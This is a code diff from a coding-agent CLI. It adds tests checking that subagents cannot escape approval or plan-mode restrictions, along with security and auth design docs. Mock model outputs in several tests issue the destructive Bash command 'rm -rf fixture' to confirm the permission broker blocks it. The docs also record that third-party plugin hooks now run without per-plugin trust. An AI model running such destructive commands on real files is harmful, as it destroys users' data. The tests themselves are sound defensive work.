+    const result = await runExploreChild({ mode: "yolo", call: WRITE });
+    expect(result.requests).toEqual([]);
+    expect(result.executedCommands).toHaveLength(1);
+    expect(result.executedCommands[0]).toContain("rm -rf fixture");
+  });
+
+  it("applies the parent's disallowed tools to Explore", async () => {
+    const result = await runExploreChild({
+      mode: "build",
+      call: READ,
+      permissionService: new PermissionService({
+        ...defaultPermissionConfig,
+        disallowedTools: new Set(["Bash"]),
+      }),
+    });
+    expect(result.requests).toEqual([]);
+    expect(result.executedCommands).toEqual([]);
+  });
+});
+
+// 修复原因:compact 后会重发 Plan 提醒;这条路径没区分子会话,子会话 compact 后又收到了主会话的
+// 五阶段提醒(要求派生 Explore、以 ExitPlanMode 收尾)。
+describe("subagent plan reminder after compact", () => {
+  it("re-sends the read-only reminder, not the main plan workflow", async () => {
+    const sessionId = createSessionId("subagent-plan-reminder-compact");
+    const childRequests: string[] = [];
+    const runtime = createTestAgentRuntime(
+      sessionId,
+      {
+        mode: "build",
+        planEnabled: true,
+        subagents: {
+          outputRootDir: await mkdtemp(join(tmpdir(), "zcode-subagent-plan-compact-")),
+          profiles: [
+            {
+              name: "plan-reviewer",
+              description: "Review while planning",
+              source: "user",
+              systemPrompt: "Review carefully.",
+              tools: ["Read"],
+            },
+          ],
+        },
+        workingDirectory: "/workspace/project",
+      },
+      {
+        eventStore: createTestSessionEventStore(),
+        sessionStore: createRecordingSubagentSessionStore(),
+        modelFactory: createTestModelFactory({
+          async generateText(request, observation) {
+            const querySource = (
+              observation.invocationContext?.metadata as { querySource?: string }
+            )?.querySource;
+            const usage = { inputTokens: 1, outputTokens: 1, totalTokens: 2 };
+            const text = JSON.stringify(request);
+            if (text.includes("create a detailed summary"))
+              return { finishReason: "stop", text: "<summary>child summary</summary>", usage };
+            if (querySource === "subagent") childRequests.push(text);
+            return { finishReason: "stop", text: "child turn complete", usage };
+          },
+        }),
+      },
+    );
+    const subagentPort = (runtime as unknown as { subagentPort: any }).subagentPort;
+    const trace = (suffix: string) => ({
+      traceId: createTraceId(`trace-subagent-plan-compact-${suffix}`),
+      sessionId,
+      turnId: createTurnId(`turn-subagent-plan-compact-${suffix}`),
+    });
+    const first = await subagentPort.run({
+      agentType: "plan-reviewer",
+      description: "Review",
+      parentToolCallId: "call_plan_compact_first",
+      prompt: "Review the change.",
+      sessionId,
+      trace: trace("first"),
+      turnId: createTurnId("turn-subagent-plan-compact-first"),
+      workingDirectory: "/workspace/project",
+      workspaceRoot: "/workspace/project",
+    });
+    expect(first.status).toBe("completed");
+    for (const [message, suffix] of [
+      ["/compact", "manual"],
+      ["Review again.", "after"],
+    ] as const) {
+      await subagentPort.sendMessage({
+        message,
+        parentToolCallId: `call_plan_compact_${suffix}`,
+        sessionId,
+        summary: `Child ${suffix}`,
+        to: first.agentId,
+        trace: trace(suffix),
+        turnId: createTurnId(`turn-subagent-plan-compact-${suffix}`),
+        workingDirectory: "/workspace/project",
+        workspaceRoot: "/workspace/project",
+      });
+      expect((await subagentPort.waitForTask(first.agentId))?.status).toBe("completed");
+    }
+
+    const afterCompact = childRequests.at(-1)!;
+    expect(afterCompact).toContain("child summary");
+    expect(afterCompact).toContain("Plan mode is active.");
+    expect(afterCompact).not.toMatch(/### Phase|ExitPlanMode/);
+  });
+});
+
+// 修复原因:SendMessage 恢复子会话时沿用落盘的执行状态,父会话从 yolo 改为 build 后恢复的子会话
+// 仍以 yolo 免审批执行命令;父会话开启 Plan 后恢复的子会话也不在 Plan。
+describe("resumed subagent recomputes its mode from the parent", () => {
+  async function resumeChild(input: {
+    agentType: "fixture-child" | "Explore";
+    firstMode: "yolo" | "build";
+    after: { mode?: "build"; planEnabled?: boolean };
+  }) {
+    const sessionId = createSessionId(
+      `resume-mode-${input.agentType}-${input.firstMode}-${JSON.stringify(input.after)}`,
+    );
+    const executedCommands: string[] = [];
+    const requests: PermissionBrokerRequest[] = [];
+    const resumedRequests: string[] = [];
+    let childCalls = 0;
+    const executionPort: ExecutionPort = {
+      async run(request) {
+        executedCommands.push(JSON.stringify(request.command));
+        const now = new Date();
+        return {
+          status: "completed",
+          exitCode: 0,
+          stdout: { text: "ok", bytes: 2, truncated: false },
+          stderr: { text: "", bytes: 0, truncated: false },
+          durationMs: 1,
+          timedOut: false,
+          cancelled: false,
+          startedAt: now,
+          completedAt: now,
+        };
+      },
+    } as ExecutionPort;
+    const runtime = createTestAgentRuntime(
+      sessionId,
+      {
+        mode: input.firstMode,
+        workingDirectory: "/workspace/project",
+        bashShellSelection: {
+          dialect: "posix",
+          source: "auto-detected",
+          display: { name: "bash" },
+        },
+        subagents: {
+          outputRootDir: await mkdtemp(join(tmpdir(), "zcode-subagent-resume-mode-")),
+          profiles: [
+            {
+              name: "fixture-child",
+              description: "fixture",
+              source: "user",
+              systemPrompt: "fixture",
+              tools: ["Bash"],
+            },
+          ],
+        },
+      },
+      {
+        eventStore: createTestSessionEventStore(),
+        sessionStore: createRecordingSubagentSessionStore(),
+        executionPort,
+        permissionBroker: {
+          async requestPermission(request) {
+            requests.push(request);
+            return { decision: "deny", reason: "denied in test" };
+          },
+        },
+        modelFactory: createTestModelFactory({
+          async generateText(request) {
+            const usage = { inputTokens: 1, outputTokens: 1, totalTokens: 2 };
+            childCalls++;
+            if (childCalls === 2)
+              return {
+                finishReason: "tool-calls",
+                text: "",
+                usage,
+                toolCalls: [
+                  { id: "resumed-rm", name: "Bash", input: { command: "rm -rf fixture" } },
+                ],
+              };
+            if (childCalls === 3) resumedRequests.push(JSON.stringify(request));
+            return { finishReason: "stop", text: "child done", usage };
+          },
+        }),
+      },
+    );
+    const subagentPort = (runtime as unknown as { subagentPort: any }).subagentPort;
+    const trace = (suffix: string) => ({
+      traceId: createTraceId(`trace-resume-mode-${suffix}`),
+      sessionId,
+      turnId: createTurnId(`turn-resume-mode-${suffix}`),
+    });
+    const first = await subagentPort.run({
+      agentType: input.agentType,
+      description: "first",
+      parentToolCallId: "call_resume_mode_first",
+      prompt: "first",
+      sessionId,
+      trace: trace("first"),
+      turnId: createTurnId("turn-resume-mode-first"),
+      workingDirectory: "/workspace/project",
+      workspaceRoot: "/workspace/project",
+    });
+    expect(first.status).toBe("completed");
+    await runtime.setExecutionState(input.after);
+    await subagentPort.sendMessage({
+      message: "run the command",
+      parentToolCallId: "call_resume_mode_resume",
+      sessionId,
+      summary: "resume",
+      to: first.agentId,
+      trace: trace("resume"),
+      turnId: createTurnId("turn-resume-mode-resume"),
+      workingDirectory: "/workspace/project",
+      workspaceRoot: "/workspace/project",
+    });
+    await subagentPort.waitForTask(first.agentId);
+    return { executedCommands, requests, resumedRequests };
+  }
+
+  it.each(["fixture-child", "Explore"] as const)(
+    "asks before %s runs a write command after the parent drops from yolo to build",
+    async (agentType) => {
+      const result = await resumeChild({ agentType, firstMode: "yolo", after: { mode: "build" } });
+      expect(result.requests).toHaveLength(1);
+      expect(result.requests[0]).toMatchObject({ mode: "build", toolName: "Bash" });
+      expect(result.executedCommands).toEqual([]);
+    },
+  );
+
+  it("puts the resumed child in Plan after the parent enables Plan", async () => {
+    const result = await resumeChild({
+      agentType: "fixture-child",
+      firstMode: "build",
+      after: { planEnabled: true },
+    });
+    expect(result.requests).toEqual([]);
+    expect(result.executedCommands).toEqual([]);
+    expect(
+      result.resumedRequests.some((request) =>
+        request.includes("Plan mode only allows read-only, non-destructive tools"),
+      ),
+    ).toBe(true);
+  });
+});

+ 3 - 1
apps/zcode-cli/packages/core/tests/subagent-explore.test.ts

@@ -1262,7 +1262,9 @@ describe("Explore subagent", () => {
     const runtime = createTestAgentRuntime(
       sessionId,
       {
-        mode: "build",
+        // 本例只验证 HTTP client 透传。Explore 现在继承父会话模式,build 下非预批 URL 会请求审批,
+        // 所以父会话用 yolo 让 WebFetch 直接执行。
+        mode: "yolo",
         workingDirectory: "/workspace/project",
       },
       {

+ 138 - 0
apps/zcode-cli/packages/core/tests/subagent-plugin-permission-mode.test.ts

@@ -0,0 +1,138 @@
+import { describe, expect, it, vi } from "vitest";
+import {
+  createSessionId,
+  type CollaborationMode,
+  type PermissionBrokerRequest,
+} from "@zcode/contracts";
+import { createManualPermissionBroker } from "../src/permission/broker.js";
+import type { AgentProfile } from "../src/subagent/profile.js";
+import { createTestAgentRuntime } from "./test-agent-runtime.js";
+import { createTestModelFactory } from "./test-runtime-model.js";
+import { createTestSessionEventStore } from "./test-event-store.js";
+
+// 插件 profile 曾按用户级处理:父会话 build 时,声明 bypassPermissions 的插件 agent
+// 会让子会话以 yolo 运行,模型生成的 Bash 直接执行。插件声明现在只能收紧父会话模式。
+function runPluginChild(
+  parentMode: CollaborationMode,
+  permissionMode: AgentProfile["permissionMode"],
+) {
+  const requests: PermissionBrokerRequest[] = [];
+  const execute = vi.fn(async () => {
+    throw new Error("Must not execute");
+  });
+  const childModelRequests: string[] = [];
+  let mainCalls = 0;
+  let childCalls = 0;
+  const broker = createManualPermissionBroker({
+    onRequest: (request) => {
+      requests.push(request);
+    },
+  });
+  const sessionId = createSessionId(`plugin-permission-${parentMode}`);
+  const runtime = createTestAgentRuntime(
+    sessionId,
+    {
+      mode: parentMode,
+      workingDirectory: "/workspace/plugin-permission-fixture",
+      bashShellSelection: {
+        dialect: "posix",
+        source: "auto-detected",
+        display: { name: "bash" },
+      },
+      subagents: {
+        profiles: [
+          {
+            name: "fixture:plugin-agent",
+            description: "plugin agent",
+            source: "user",
+            tools: ["Bash"],
+            systemPrompt: "test",
+            permissionMode,
+            permissionModeRestrictOnly: true,
+          },
+        ],
+      },
+    },
+    {
+      eventStore: createTestSessionEventStore(),
+      executionPort: { run: execute },
+      permissionBroker: {
+        requestPermission: (request, options) =>
+          broker.requestPermission(request, { ...options, timeoutMs: 3000 }),
+      },
+      modelFactory: createTestModelFactory({
+        async generateText(request, observation) {
+          const child =
+            (observation.invocationContext?.metadata as { querySource?: string })?.querySource ===
+            "subagent";
+          const usage = { inputTokens: 1, outputTokens: 1, totalTokens: 2 };
+          if (child) childModelRequests.push(JSON.stringify(request));
+          if (child && ++childCalls === 1)
+            return {
+              finishReason: "tool-calls",
+              text: "",
+              usage,
+              toolCalls: [
+                { id: "plugin-child-rm", name: "Bash", input: { command: "rm -rf fixture" } },
+              ],
+            };
+          if (!child && ++mainCalls === 1)
+            return {
+              finishReason: "tool-calls",
+              text: "",
+              usage,
+              toolCalls: [
+                {
+                  id: "plugin-agent",
+                  name: "Agent",
+                  input: {
+                    description: "test",
+                    prompt: "test",
+                    subagent_type: "fixture:plugin-agent",
+                  },
+                },
+              ],
+            };
+          return { finishReason: "stop", text: "done", usage };
+        },
+      }),
+    },
+  );
+  return {
+    broker,
+    childModelRequests,
+    execute,
+    requests,
+    sessionId,
+    turn: runtime.executeTurn("Run the plugin child"),
+  };
+}
+
+describe("plugin subagent permissionMode only restricts the parent mode", () => {
+  it("build parent keeps approval for a plugin child declaring bypassPermissions", async () => {
+    const { broker, execute, requests, sessionId, turn } = runPluginChild(
+      "build",
+      "bypassPermissions",
+    );
+    await vi.waitFor(() => expect(requests).toHaveLength(1));
+    expect(requests[0]).toMatchObject({ mode: "build", sessionId, origin: { kind: "subagent" } });
+    expect(execute).not.toHaveBeenCalled();
+    expect(broker.resolvePermission(requests[0]!.requestId, { decision: "deny" })).toBe(true);
+    await turn;
+    expect(execute).not.toHaveBeenCalled();
+  });
+
+  it("yolo parent still applies a stricter plugin plan mode", async () => {
+    const { childModelRequests, execute, requests, turn } = runPluginChild("yolo", "plan");
+    await turn;
+    await vi.waitFor(() =>
+      expect(
+        childModelRequests.some((request) =>
+          request.includes("Plan mode only allows read-only, non-destructive tools"),
+        ),
+      ).toBe(true),
+    );
+    expect(requests).toEqual([]);
+    expect(execute).not.toHaveBeenCalled();
+  });
+});

+ 2 - 2
apps/zcode-cli/packages/zcode-guide-plugin/skills/diagnosing-commands/SKILL.md

@@ -50,7 +50,7 @@ There is also an **interactive-surface-only** filter: a command whose name match
 5. **Empty command is dropped** — both the description and the body are empty. → Add a `description:` or at least one non-empty body line.
 6. **Unknown frontmatter key (misspelling)** — `model`/`skills`/`allowed-tools` have no effect. → Use the hyphenated keys: `allowed-tools` (not `allowed_tools`), `argument-hint`, `disable-noninteractive`.
 7. **`$ARGUMENTS`/`$1` does not substitute** — the placeholder appears literally or is empty. The body has no placeholder (arguments are appended under "User arguments:" by design), `$1` is out of range, or a form like `${ARGUMENTS}` is not recognized. → Use the exact `$ARGUMENTS`/`$1` tokens.
-8. **Dynamic shell is rejected** — running the command reports an unsupported shell expansion. The body contains `` !`...` `` or a fenced `!` block. → Remove it; use static text or `$ARGUMENTS`.
+8. **Dynamic shell does not run on its own** — a `` !`...` `` or fenced `!` block is not executed when the command is invoked, and its output is not pasted in beforehand. ZCode rewrites each block into an instruction for the model to run that command with the Bash tool, so it appears as a normal tool call with the usual approval prompt (and plan mode can deny it). → Expect that tool call; if the command must not depend on shell output, use static text or `$ARGUMENTS` instead.
 9. **A plugin command is missing** — a disabled plugin contributes no command roots, or a local same-named file is shadowing it. → Enable the plugin in **Settings → Plugin Management**, and ensure no local duplicate shadows it.
 10. **Disabled by configuration** — a valid command silently disappears. The configuration disables it by the command file's absolute path (not the command name). → Set that path's `enable` to `true` or remove it.
 11. **`/` versus `:` confusion** — `/review/code` reports not found although `review/code.md` exists. Subdirectories map to `:`, so the real name is `review:code`. → Invoke `/review:code`.
@@ -62,5 +62,5 @@ There is also an **interactive-surface-only** filter: a command whose name match
 2. **Confirm the file and its root.** Ensure the `.md` sits directly under a scanned commands root for the current working directory — pitfall 1 — and that its name is valid — pitfall 2.
 3. **Check the frontmatter.** A missing/garbled key points to the flat-parser rules (pitfall 4) or an empty command (pitfall 5); a key with no effect is likely a misspelling (pitfall 6).
 4. **Resolve a duplicate.** For a given name, the winner is the first in discovery order; find and rename or remove the copy you do not want.
-5. **Check the body.** Verify the argument placeholders (pitfall 7) and that there is no rejected dynamic shell (pitfall 8).
+5. **Check the body.** Verify the argument placeholders (pitfall 7) and whether a dynamic shell block is handed to the model as a tool call (pitfall 8).
 6. **Still missing with no obvious cause?** Check for a configuration disable (pitfall 10, by absolute file path), a disabled plugin (pitfall 9), or reserved-name filtering (pitfall 12).

+ 23 - 0
architecture-policy.yaml

@@ -422,6 +422,9 @@ modules:
     roots:
       - apps/zcode-cli/packages/bootstrap/src/session-execution
       - apps/zcode-cli/packages/bootstrap/tests/session-execution
+      - apps/zcode-cli/packages/core/src/runtime/permission-full-access.ts
+      - apps/zcode-cli/packages/core/tests/permission-full-access.test.ts
+      - apps/zcode-cli/packages/bootstrap/tests/draft-permission-full-access.test.ts
     managed: true
     requires:
       - shared
@@ -429,6 +432,7 @@ modules:
     publicEntrypoints:
       - apps/zcode-cli/packages/bootstrap/src/session-execution/index.ts
       - apps/zcode-cli/packages/bootstrap/src/session-execution/contract.ts
+      - apps/zcode-cli/packages/core/src/runtime/permission-full-access.ts
     layers:
       app: .
     owner: conversation
@@ -1167,6 +1171,19 @@ modules:
       adapters: .
     owner: cli
 
+  # 内置浏览器本地 HTML 的受控文件读取边界。
+  - id: browser-local-preview
+    roots:
+      - packages/desktop/src/main/browser-local-preview
+    managed: true
+    requires: [shared]
+    publicEntrypoints:
+      - packages/desktop/src/main/browser-local-preview/index.ts
+      - packages/desktop/src/main/browser-local-preview/contract.ts
+    layers:
+      adapters: .
+    owner: desktop
+
 global:
   # 临时时间戳(2026-09-10):unmanaged-new-file 只约束此日期之后首次入库的文件。
   # 基于领先 staging 很多的分支开工时,merge-base 之前的"新增"文件不应被追溯。
@@ -1230,6 +1247,12 @@ exceptions:
       - packages/services/src/model-provider/accountProjectTokenClient.ts
       - packages/services/src/credential/credentialService.ts
     reason: 已有项目 Token 与凭据存储增加派生缓存的局部恢复端口,并把换证请求失败按固定类别分码(ZCT-2111046389485834240);保持原有 owner 和共享文件锁,不接管全目录。
+  - id: plugin-agent-permission-mode-restrict-only-existing-edit
+    rule: unmanaged-new-file
+    paths:
+      - packages/shared/src/subagent-profile.ts
+      - packages/shared/src/subagent-profile-parser.ts
+    reason: 已准入的存量文件为插件 agent 的 permissionMode 只能收紧(ZP-20261028-13)增加进程内 profile 标记字段并更新注释;跨进程 schema 与解析行为不变,接管 shared 目录不在本次范围内。
   - id: test-ids-subpath-import-unmanaged-edit
     rule: unmanaged-new-file
     paths:

+ 76 - 0
docs/browser-use/local-html-preview.md

@@ -0,0 +1,76 @@
+# 内置浏览器本地 HTML 预览
+
+## 边界
+
+内置浏览器打开本机 `file://` 的 `.html` / `.htm` 时,由 main 转成
+`zcode-html://` 地址。卡片、文件树、地址栏仍使用现有打开入口。
+仅 `persist:zcode-embedded-browser` 安装协议 handler;defaultSession 沿用现有加载逻辑,
+Web 和手机端不注入本机预览能力。HTTP/HTTPS 的导航语义不变。
+
+修复原因:Electron 默认赋予 file 页面额外的跨文件读取权限,sandbox 和
+contextIsolation 不会阻止这些读取。初次 attach 的 URL 校验也不覆盖之后的 loadURL。
+
+## 授权与资源
+
+- 只有可信宿主窗口的主 frame 可以请求 main 导航自己承载的 browser guest。
+- 显式打开 HTML 授权其真实所在目录及子目录;不自动扩大到项目目录或父目录。
+  不允许磁盘根目录、网络共享、隐藏文件/目录或非 HTML 作为授权入口。
+- 每次资源请求都检查 URL、请求方法、目录签名、真实路径及普通文件类型。
+  拒绝父目录穿越、编码分隔符、指向目录外的符号链接、隐藏文件和目录列表。
+- HTML 的相对 CSS、普通脚本、ES Module、图片及 fetch 数据使用相同预览 origin。
+  不设置通配 CORS,不绕过 CSP,不启用 service worker。根绝对资源路径需改为相对路径。
+- 内置浏览器 session 的原始 file 请求全部拒绝,包括导航、iframe 和 fetch。
+  非 HTML 的独立 file 导航显示原有加载错误;它们不被自动授权。
+- 每个目录使用不同的签名 hostname,页面不能修改地址来授权其他目录。
+  签名密钥仅保存在 main 当前进程中,网页和 preload 均不获得密钥。
+  刷新和进程内 guest 恢复复用该地址;完整退出清空标签,旧签名在下次启动失效。
+- 地址栏展示及“默认浏览器打开”转换回解析后的本地 file URL;该转换仅作展示,不能授权文件。
+
+## 所有权与时序
+
+```text
+宿主 renderer 的现有导航入口
+  → main 校验 sender、guest 所属窗口和 browser partition
+  → 分配 guest 导航序号 → 异步校验 HTML/生成签名 URL
+  → 仍为最新导航且 guest 存活 → loadURL
+  → Chromium 提交 URL → 既有进程内历史/恢复机制保存
+
+页面请求 → browser session 协议 handler → 验签/真实路径边界 → 只读资源
+```
+
+main 是进程内签名密钥和导航准入的唯一 owner。旧异步结果不得覆盖新导航。
+renderer 继续沿用现有 pendingUrl 和 guest 接管回执,不增加导航队列。
+初始/恢复入口传入的 file URL 同样经过转换;页面自己触发的原始 file 请求不会获得授权。
+
+## 验收
+
+候选 E2E:`packages/desktop/test/e2e/manual-review/pending/browser-local-html-preview.test.ts`。
+既有回归:`packages/desktop/test/e2e/browser-open-external-file-url.test.ts`。
+
+| 场景                | 必须断言                                                        | 证据         |
+| ------------------- | --------------------------------------------------------------- | ------------ |
+| 中文/空格 HTML 路径 | 页面实际 URL 为预览协议,地址栏显示解析后的 file 路径           | 桌面安全 E2E |
+| 相对资源            | CSS、图片、普通脚本、ES Module、JSON fetch 成功                 | 桌面安全 E2E |
+| 越界读取            | file fetch/iframe、路径穿越、符号链接、隐藏文件、伪造签名均失败 | 桌面安全 E2E |
+| 刷新/历史           | 页面重新加载,相对资源仍可用,后退回到原预览地址                | 桌面安全 E2E |
+| 隔离                | 默认 session 的 file 页面及普通 HTTP 页面仍可加载               | 桌面安全 E2E |
+| 外部打开            | 预览页还原为 file URL,仍走 shell.openPath                      | 外部打开 E2E |
+| 导航竞态            | 先发起的文件检查不得覆盖后发起的导航                            | 桌面安全 E2E |
+
+### 验证记录(2026-10-28)
+
+- macOS / Electron 44.7.0 的完整应用验收通过;产物见下方运行目录。
+- Windows/Linux 尚未运行;使用 Node 原生路径解析和 realpath,不将 macOS 结果外推。
+- Web/手机不承载 Electron webview,也不注入此本机平台能力;本次未改动其界面和远控协议。
+- 独立 Electron 场景另外验证了默认 session 的 module/fetch 未受影响、模拟目录外内容未到达 loopback 收集端,以及不同 controller 的签名不能互用。
+- 新用例保持 manual-review/pending;未做人工转正或 CI 准入。
+
+完整桌面安全及外部打开 E2E:`packages/desktop/.e2e-artifacts/desktop-e2e-20261028143115506-p90003-1da21085337a8236`,2 个 spec 均通过。
+
+可重复运行安全用例(仅使用本地 fixture,不调用模型):
+
+```bash
+ZCODE_E2E_MANUAL_REVIEW=1 E2E_PROVIDER_HTTP_MODE=replay \
+E2E_PROVIDER_REPLAY_FIXTURE_PATH=packages/desktop/test/e2e/fixtures/upstream/common.json \
+pnpm --filter @zcode/desktop test:e2e -- --spec './test/e2e/manual-review/pending/browser-local-html-preview.test.ts'
+```

+ 13 - 13
docs/claude-code-marketplace-plugin-compat.md

@@ -27,9 +27,8 @@ ZCode 需要最大努力兼容 Claude Code Marketplace 插件,但不能把 Cla
 ### V1b:低风险运行投影
 
 - 运行 `skills`、commands root、`mcpServers` 和 non-sensitive `userConfig`
-  defaults。`zcode-plugins-official` 和 `claude-plugins-official` 安装产物可注入
-  hooks;其他第三方 marketplace 插件的 `hooks` V1 默认只解析和诊断,不注入
-  runtime,后续必须有显式信任/权限门后才能启用。
+  defaults。已启用插件的 `hooks` 都注入 runtime,包括第三方 marketplace 插件;
+  V1 原定第三方只诊断,2026-07-01 起放开,逐插件信任尚未实现(见「安全边界」)。
 - 支持 Claude/ZCode 模板变量别名。
 - MCP server key 使用插件命名空间,避免多个插件声明同名 server 时覆盖。
 - sensitive `userConfig` 只能进入 MCP env / credential / runtime secret path,
@@ -168,11 +167,11 @@ Plugin entry `source` 的 V1 支持范围:
 | `name` / `version` / `description` / `author` / `license` | 读取并展示 |
 | `skills` | V1b 运行 |
 | `commands` | V1b 支持目录;V1c 支持 object mapping / inline content |
-| `hooks` | V1 解析和诊断;第三方 marketplace 默认不运行,官方/inline 维持现有受信行为 |
+| `hooks` | 解析、诊断并运行;已启用插件(含第三方 marketplace)都运行,尚无逐插件信任 |
 | `mcpServers` | V1b 运行;server key 强制命名空间 |
 | `userConfig` | V1b 支持 defaults 和 required;sensitive 未接 credential 前禁止明文 configure |
 | `dependencies` | V1c install-time resolver;load-time 不再报 unsupported |
-| `agents` | diagnostic-only,不注册到 Agent tool |
+| `agents` | 已启用插件的 agents 注册为子 agent profile;`permissionMode` 只能收紧(见「安全边界」) |
 | `lspServers` / `outputStyles` / `channels` / `settings` | diagnostic-only |
 | `npm` / `pip` / `hostPattern` / `pathPattern` source | V1 识别但 unsupported diagnostic |
 
@@ -242,8 +241,8 @@ Bugfix 约束:`plugins/describe` 的 MCP 与 hook 枚举口径必须对齐真
   ZCode 已识别的运行参数。
 - `sourcePath`:明细来自 `.claude-plugin/plugin.json`、`.zcode-plugin/plugin.json`
   还是 `hooks/hooks.json`。
-- `runnable`:当前 runtime 是否会把该 hook 注入执行。官方 marketplace / inline
-  受信插件可以为 `true`;第三方 marketplace 在 V1 默认必须为 `false`,仅诊断展示。
+- `runnable`:当前 runtime 是否会把该 hook 注入执行。目前所有插件都为 `true`,
+  包括第三方 marketplace;逐插件信任实现后在 `canRunPluginHooks` 收回。
 
 Hook 明细展示不能改变安全边界:解析和展示可以发生在插件未启用时,但未受信 Hook 不能
 因为详情页可见而被注入 runtime。
@@ -266,13 +265,14 @@ validate 的扫描深度按目标类型区分:
 
 ## 安全边界
 
-- Plugin agents V1 不运行。当前 ZCode Agent runtime 是 Explore-only,直接接入
-  Claude plugin agents 会绕过 tool allowlist、permission broker 和隔离策略。
+- 已启用插件的 agents 会加载为子 agent profile,工具仍经过 tool allowlist 与 permission broker。
+  frontmatter `permissionMode` 只能收紧子会话权限,官方与第三方插件同一规则,见
+  [项目配置信任边界](./security/deep-link-project-trust-boundary.md)。
 - sensitive `userConfig` 不允许替换进模型可见文本。
 - sensitive `userConfig` 未接入 credential store 前不允许通过 `plugins/configure`
   明文写入普通 config。
-- 第三方 marketplace hooks 默认不注入 runtime;只有 ZCode 官方、Claude 官方
-  marketplace 或显式 inline trusted 插件保持 hook 行为。
+- 已启用插件(含第三方 marketplace)的 hooks 当前都会注入 runtime,尚无逐插件 trust;
+  判断收口在 adapters 插件加载的 `canRunPluginHooks`。
 - dependency resolver 默认阻止跨 marketplace dependency。
 - inline command 生成路径必须通过 `resolveInside` 约束在 cache/data root 内。
 - Web/mobile remote 只通过 shared-host/agent protocol 读写插件状态,不在 relay
@@ -311,5 +311,5 @@ validate 的扫描深度按目标类型区分:
   name pattern 已兼容 `_`。
 - 官方/第三方 marketplace entry 可能使用 `commit` 表示 git pin。Installer
   将 `commit` 作为 `sha` fallback,但仍优先使用官方 schema 的 `sha`。
-- `claude-plugins-official` 安装产物中的 hooks 需要可运行;非官方第三方
-  marketplace hooks 继续 diagnostic-only。
+- `claude-plugins-official` 安装产物中的 hooks 需要可运行;第三方 marketplace
+  hooks 当前同样运行(见「安全边界」)。

+ 20 - 6
docs/coding-plan/zcode-official-server-mcp-auth-spec.md

@@ -12,6 +12,13 @@
 
 - Host/service 是用户凭证 authority;Renderer、relay、desktop main 不持有凭证。
 - Agent 通过 `interaction/requestOfficialMcpAuthHeaders` 向 Host 请求本次身份头。
+- 设置页使用独立的 `mcp-status` CLI。Host 在每次发送 `mcp/list` 前登记实际目标工作区,
+  包括兼容重试和进程重建后的重试;管理进程的 cwd 不代表请求工作区。
+- 仅 `mcp-status` lane 的合法 `mcp-server` 身份头请求(省略 consumer 时同义)可按该 client
+  已登记的工作区路由,不要求它成为该工作区的聊天 owner。登记只由 Host 的出站入口建立,
+  反向请求不得自行登记;聊天请求、通知与旧 runtime 的归属校验保持不变。
+- 控制面授权仍先校验参数、精确工作区身份和可信 Origin,再读取凭证。未登记身份、非法参数
+  和其他 consumer 不得借用该例外;进程退出时登记随 client 清理,不写入聊天 owner 表。
 - HTTP MCP 由 adapter fetch wrapper 逐请求校验 origin;`server/discover`、`initialize`、notification、
   `ping`、`tools/list`、GET probe 与 `tools/call` 都向 Host 解析并注入当前身份头。解析失败时仍发送
   匿名请求,由服务端按请求方法权威判定;用户 entitlement 不应决定工具目录可见性。
@@ -57,6 +64,8 @@ ZAI Team 的 wire 行为与 Off-Peak 保持一致:不发送 `Bigmodel-Target-T
 
 - workspace identity 使用 `workspaceIdentity?.trim() || workspacePath`;workspacePath 只用于执行/展示。
 - Host 为每个 `(pluginId, mcpKey, workspaceKey)` 的首次身份头发放记录一条 info,后续走 debug。
+- 授权回调在工作区路由阶段被拒绝时,Host 记录 lane、失败阶段、协议错误码与请求关联 id,
+  不记录原始请求或凭证;成功发放日志带 lane,便于区分聊天与设置探测。
 - 凭证解析成功必须以 info 记录 MaaS JWT 剩余有效期(只记秒数,绝不记 token):MaaS JWT 无刷新
   链路,过期后服务端把上游 401 折叠成 `coding plan is required`,该数值是客户端唯一可自证的
   区分线索;生产构建 debug 不落盘,故必须 info。解析与官方 MCP 请求数同数量级,须以
@@ -81,10 +90,15 @@ ZAI Team 的 wire 行为与 Off-Peak 保持一致:不发送 `Bigmodel-Target-T
 
 核心用例:
 
-| ID            | 场景                   | 断言                                                                    |
-| ------------- | ---------------------- | ----------------------------------------------------------------------- |
-| OMCP-CALL-001 | 有有效 Coding Plan     | 连接、发现、GET probe 与 `tools/call` 都注入最新身份并成功              |
-| OMCP-CALL-002 | 未登录或无 auth port   | 按匿名降级请求;服务端返回未认证错误时记录对应 request id |
+| ID            | 场景                   | 断言                                                                  |
+| ------------- | ---------------------- | --------------------------------------------------------------------- |
+| OMCP-CALL-001 | 有有效 Coding Plan     | 连接、发现、GET probe 与 `tools/call` 都注入最新身份并成功            |
+| OMCP-CALL-002 | 未登录或无 auth port   | 按匿名降级请求;服务端返回未认证错误时记录对应 request id             |
 | OMCP-CALL-003 | 已登录但无 Coding Plan | 连接请求携带 ZCode JWT、不带 MaaS JWT;服务端错误可区分登录态与套餐态 |
-| OMCP-CALL-004 | 连接后登录或升级       | 不重连;下一次调用重新解析身份并成功                                    |
-| OMCP-STDIO-01 | 官方 stdio 已登录      | initialize、tools/list 与 tools/call 的 `_meta` 都携带当前身份载荷      |
+| OMCP-CALL-004 | 连接后登录或升级       | 不重连;下一次调用重新解析身份并成功                                  |
+| OMCP-STDIO-01 | 官方 stdio 已登录      | initialize、tools/list 与 tools/call 的 `_meta` 都携带当前身份载荷    |
+
+设置探测回归(OMCP-SETTINGS,候选 E2E,不自动转正):无聊天 runtime / 已有聊天 runtime
+均可取得当前身份;A→B→A 与重叠请求保持目标归属、迟到结果不覆盖当前页面;未登记工作区、
+同路径不同 identity、非法参数、其他 consumer 与旧聊天 client 仍被拒绝;探测进程重建后
+重新登记;退出登录后刷新不复用旧凭证;手机 `/remote` 使用同一 Host,凭证不进入手机或 relay。

+ 60 - 4
docs/conversation-session-case-catalog.md

@@ -122,6 +122,8 @@ MP01–MP12 的前置、动作、断言与证据见[移动端事件推送规格]
 
 ## 项目与任务草稿生命周期(2026-10-16)
 
+PD13–PD16(2026-10-30,accepted / pending):远端草稿在 projectId 就绪后才预热和首发;覆盖保留作用域的完整冷启动、只删除导航作用域后的冷启动与 Enter 拦截、显式项目新建后的真实首发、手机 shared-host 恢复及本地未归类首发。候选 `packages/desktop/test/e2e/conversation-session/manual-review/pending/conversation-session-remote-draft-prewarm.test.ts`;covered(候选未转正):`packages/desktop/.e2e-artifacts/local-docker-20261030074146-15e10a` 完整通过,含真实 Provider 请求和 Host 项目归属断言。macOS Electron → SSH Linux arm64;手机为 Chrome 390px 触摸视口与真实 relay/Host,缺归属为受控 store 前置;不是实体手机或 Windows/Linux 桌面证据。缺失作用域不归因于升级。
+
